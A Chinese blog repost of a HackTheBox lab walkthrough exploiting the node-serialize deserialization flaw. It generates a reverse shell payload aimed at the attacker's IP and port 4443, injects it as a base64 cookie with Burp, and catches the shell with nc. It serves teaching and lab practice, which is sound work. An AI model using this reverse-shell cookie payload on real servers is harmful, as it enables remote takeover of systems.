zoukankan      html  css  js  c++  java
  • NodeJS反序列化漏洞利用

    原文来自:http://www.4hou.com/web/13024.html

    node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非常好。Node.js进行了一些优化并提供替代API,这使得Google V8引擎能够在非浏览器环境下更有效的运行。

    但是node.js的序列化过程中依然存在远程代码执行漏洞。更直白的说,其实是node.js的node-serialize库存在漏洞。通过传输JavaScript IIFE(立即执行函数表达式),攻击者可以利用恶意代码(不受信任的数据),在反序列化过程中远程执行任意代码。

    漏洞演示环境

    靶机:hackthebox节点服务器

    攻击机:Kali Linux

    安装工具:nodejs,npm,nodejs toolkit,node-serialize

    关于漏洞(反序列化攻击)

    不受信任的数据传递到unserialize()函数,导致我们可以利用JavaScript对象的立即执行函数表达式也就是IIFE来执行任意代码。

    第一步就是安装nodejs,通过apt-get命令进行安装,如下图

    apt-get install nodejs

    nodejs反序列化漏洞利用getshell

    第二步,使用curl命令安装npm(需要用npm来安装node-serialize包),命令如下:

    curl -L https://www.npmjs.com/install.sh | sh

    nodejs反序列化漏洞利用getshell

    当你安装和配置好了nodejs和npm之后,你就可以通过npm来安装node-serialize包了,输入以下命令即可:

    npm install node-serialize

    nodejs反序列化漏洞利用getshell

    另一方面,我们已经连接到了hackthebox服务器,它的节点服务器存在漏洞,IP是10.10.10.85:3000(节点服务器上运行着nodejs express 框架,可以通过nmap来确认)

    nodejs反序列化漏洞利用getshell

    现在我们开始演示

    首先,我们配置好Burp的代理设置,然后向刚才存在漏洞的IP发起请求,用Burp抓包拦截,如图:

    nodejs反序列化漏洞利用getshell

    接着选择cookie值发送到decoder模块进行解码,如图:

    nodejs反序列化漏洞利用getshell

    这个应用程序的漏洞就是从HTTP请求的cookie中读取profile的值,进行base64解码后传递给unserialize()函数。由于cookie输入是不可信的,攻击者可以精心构造恶意cookie值来利用此漏洞。

    接着我们需要下载nodejs security toolkit(nodejs安全工具包)。

    在终端中输入以下命令来下载工具包:

    git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

    nodejs反序列化漏洞利用getshell

    切换到下载的文件夹,执行以下命令来创建反向shell payload,这个payload会把JavaScript代码当成字符串来执行。

    python nodejsshell.py 10.10.14.145 4443

    不过首先我们得输入ifconfig来查看自己的IP地址, 然后再执行命令来创建payload,如图:

    nodejs反序列化漏洞利用getshell

    下图就是最终的反向shell payload:

    nodejs反序列化漏洞利用getshell

    现在我们用下面的JavaScript代码来生成序列化的payload

    var y = {
     rce : function() {}
     }
     var serialize = require(‘node-serialize’);
     console.log(“Serialized: 
    ” + serialize.serialize(y));

    nodejs反序列化漏洞利用getshell

    将刚才生成的payload放到花括号里,如图:

    nodejs反序列化漏洞利用getshell

    将文件保存为exploit.js,然后使用node命令执行脚本来生成最终序列化的payload:

    nodejs反序列化漏洞利用getshell

    现在回到Burp中,切换到decoder模块并粘贴上图中的输出代码到文本框中解码成字符串,解码之前,在函数体后面加上IIFE圆括号():

    然后需要对字符串进行base64编码

    nodejs反序列化漏洞利用getshell

    向10.10.10.85:3000发出请求,拦截,发送到repeater模块中,

    nodejs反序列化漏洞利用getshell

    在repeater模块中,我们把cookie里的值替换成上面我们刚生成的payload,然后点击go按钮

    nodejs反序列化漏洞利用getshell

    同时,在你的攻击机kali上监听4443端口(也就是反向shell payload里的端口)

    nodejs反序列化漏洞利用getshell

    一旦你点击了“go”按钮,服务器接收到请求,返回200 OK响应码,并显示一条错误消息” An error occurred…invalid username type”,同时在nc终端中,你会看到你已经与服务器建立了连接,状态为“connected”,然后你就可以任意执行系统命令了,如图:

    nodejs反序列化漏洞利用getshell

  • 相关阅读:
    通过字符串调用函数
    First,FirstOrDefault和Single,SingleOrDefault 的区别
    asp循环例子
    将il文件和资源文件生成dll工具
    C# 修改资源文件工具ResourceNet4
    北京ip
    实验1、Mininet 源码安装和可视化拓扑工具
    实验2:Mininet 实验——拓扑的命令脚本生成
    ajax post data 获取不到数据,注意 contenttype的设置 、post/get
    调试提示:当前不会命中断点
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/10342669.html
Copyright © 2011-2022 走看看